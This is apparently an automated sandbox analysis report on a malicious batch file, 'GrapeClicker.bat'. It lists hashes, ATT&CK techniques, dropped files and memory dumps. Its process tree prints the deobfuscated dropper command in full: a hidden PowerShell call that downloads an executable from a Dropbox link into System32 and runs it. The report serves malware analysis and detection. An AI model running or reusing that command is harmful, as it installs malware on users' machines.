238dd9a07c6e18a8419779ba4708fd69f6fcde59afcc4a4d01037892a08421c2

Analysis

max time kernel
93s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
09/07/2024, 14:45

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General

Target

GrapeClicker.bat
Size

257KB
MD5

943510c42aa0f927709ce02060159930
SHA1

4ab7f9e751e5e0d570377866b333e2fd5f35502e
SHA256

238dd9a07c6e18a8419779ba4708fd69f6fcde59afcc4a4d01037892a08421c2
SHA512

a47947161f35ec9e873afd5550bf6b40e06cf248be7469a840ff41b784d73a4175c6d7e72cd9411a3bad6a9a4ee35cd808a3672faf9ea044c11de47f55c9b299
SSDEEP

1536:2qv13AXxv+yPGCghLv13AXxv+yPGCghLv13AXxv+yPGCghLv13AXxv+yPGCghLvB:2GyKHyKHyKHyKHyKxyKHyKHyKHyKHyKh

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://www.dropbox.com/scl/fi/z2tfa0dnzj2tls42d874i/Built.exe?rlkey=8l8kvc3bqw2l30ghh4hopc1wj&st=qbvy10qj&dl=1

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3636	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3636	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\Built.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3636	powershell.exe
3636	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3636	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2012 wrote to memory of 2152	2012	cmd.exe	85
PID 2012 wrote to memory of 2152	2012	cmd.exe	85
PID 2012 wrote to memory of 3636	2012	cmd.exe	86
PID 2012 wrote to memory of 3636	2012	cmd.exe	86

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\GrapeClicker.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2012
- C:\Windows\system32\cacls.exe
  "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
  2⤵
  PID:2152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/z2tfa0dnzj2tls42d874i/Built.exe?rlkey=8l8kvc3bqw2l30ghh4hopc1wj&st=qbvy10qj&dl=1', 'C:\Windows\System32\Built.exe'); Start-Process 'C:\Windows\System32\Built.exe'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_14p4wkhy.jdr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System32\Built.exe

Filesize
157KB

MD5
c6c2097eb94ac8830ba7cc4ade737e4e

SHA1
b1ff56bdc3440b39e4c11e78a3247edc587ff58e

SHA256
445a34fdcfa783463e7a8633be124c3fc0adf7439efe5d069ea5c1cdb03fc061

SHA512
aede03221c58fa4786baabcf2a76cb1e630b31e70aae4e573c303540f0af19060808286ecbefa7d1069e068c92d1d2496f24bf338e6a3a31217660d54435aa70

Download Submit
memory/3636-0-0x00007FF83E3C3000-0x00007FF83E3C5000-memory.dmp

Filesize
8KB

Download
memory/3636-10-0x000001AF7C190000-0x000001AF7C1B2000-memory.dmp

Filesize
136KB

Download
memory/3636-11-0x00007FF83E3C0000-0x00007FF83EE81000-memory.dmp

Filesize
10.8MB

Download
memory/3636-12-0x00007FF83E3C0000-0x00007FF83EE81000-memory.dmp

Filesize
10.8MB

Download
memory/3636-22-0x00007FF83E3C0000-0x00007FF83EE81000-memory.dmp

Filesize
10.8MB

Download
memory/3636-23-0x00007FF83E3C0000-0x00007FF83EE81000-memory.dmp

Filesize
10.8MB

Download
memory/3636-26-0x00007FF83E3C0000-0x00007FF83EE81000-memory.dmp

Filesize
10.8MB

Download